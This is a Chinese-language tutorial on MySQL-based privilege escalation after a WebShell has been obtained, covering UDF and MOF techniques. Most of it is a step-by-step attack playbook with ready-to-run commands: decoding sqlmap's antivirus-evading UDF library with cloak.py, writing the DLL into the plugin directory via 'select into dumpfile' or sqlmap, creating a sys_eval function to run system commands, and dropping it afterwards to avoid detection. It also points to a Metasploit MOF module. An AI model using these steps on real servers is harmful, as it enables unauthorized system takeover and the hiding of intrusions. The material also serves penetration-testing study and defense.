一、提权前提与核心条件
(一)适用场景
当已获取 WebShell 但缺乏系统级权限,且其他提权方式(如内核漏洞、配置错误)不可行时,可尝试通过 MySQL 数据库提权。
(二)核心要求
-
必须掌握高权限数据库用户的账号密码(如
root
权限),具备执行文件操作、配置修改等高级权限。 -
目标服务器需允许数据库用户与文件系统交互(如
secure_file_priv
配置未严格限制)。
二、通过数据库提升系统权限
利用 MySQL 的扩展功能(如自定义函数、系统特性)执行系统命令,获取操作系统权限。
(一)UDF 提权(用户自定义函数提权)
通过上传恶意动态链接库(.dll
或.so
),创建可执行系统命令的自定义函数,实现权限提升。
-
核心原理: UDF(User-Defined Function)允许用户自定义 MySQL 函数,若函数指向恶意动态链接库,可调用系统命令(如
whoami
、ipconfig
),从而以 MySQL 服务权限执行操作。 -
操作流程:
-
确定动态链接库路径: 执行以下命令获取
plugin_dir
(插件目录,动态链接库必须放入此目录):show variables like "%plugin%"; # 如结果为D:/mysql/lib/plugin/
-
版本差异:
-
MySQL 5.1 及以上:必须放入
plugin_dir
目录(默认可能不存在,需手动创建)。 -
MySQL 5.1 以下:可放入
C:/Windows/System32
目录。
-
-
-
获取并处理恶意 DLL:
-
使用 sqlmap 自带的 UDF 库(路径:
sqlmap/data/udf/mysql/
,区分 Windows/Linux 和 32/64 位)。 -
解码处理:sqlmap 的动态链接库为防查杀经过编码,需用
cloak.py
解码(原始文件带_
后缀):# Windows解码示例 python cloak.py -d -i 路径\lib_mysqludf_sys.dll_ -o udf.dll # Linux解码示例 python cloak.py -d -i 路径\lib_mysqludf_sys.so_ -o udf.so
-
-
上传 DLL 到目标路径:
-
方法 1:通过 WebShell 直接上传到
plugin_dir
。 -
方法 2:通过
select into dumpfile
命令写入(需将 DLL 转换为十六进制):select 0x[DLL十六进制编码] into dumpfile 'D:/mysql/lib/plugin/udf.dll';
-
方法 3:利用 sqlmap 自动上传:
sqlmap -u "http://目标IP/sqli-labs/Less-1/?id=1" --file-write="本地DLL路径" --file-dest="plugin_dir/udf.dll"
-
-
创建并调用函数:
# 创建执行系统命令的函数 CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; # 执行命令(如查看当前用户) select sys_eval('whoami'); # 成功返回系统用户(如administrator)
-
清理痕迹:
drop function sys_eval; # 删除自定义函数,避免被发现
-
-
注意事项:若 MySQL 以
system
权限运行(如注册为系统服务),提权后可获得NT AUTHORITY\SYSTEM
权限;否则仅能获得 MySQL 服务用户权限(如mysql
)。
(二)MOF 提权(局限性较大)
-
原理: 利用 Windows 系统定期执行
C:\Windows\System32\wbem\mof
目录下.mof
文件的特性,通过写入恶意 MOF 文件,以系统权限执行命令(如添加管理员用户)。 -
适用范围: 仅支持 Windows Server 2003 及更早版本,现代系统(如 Win7、Win10、Server 2008+)已修复此漏洞,实际利用价值极低。
-
操作提示: MSF 提供现成模块
exploit/windows/mysql/mysql_mof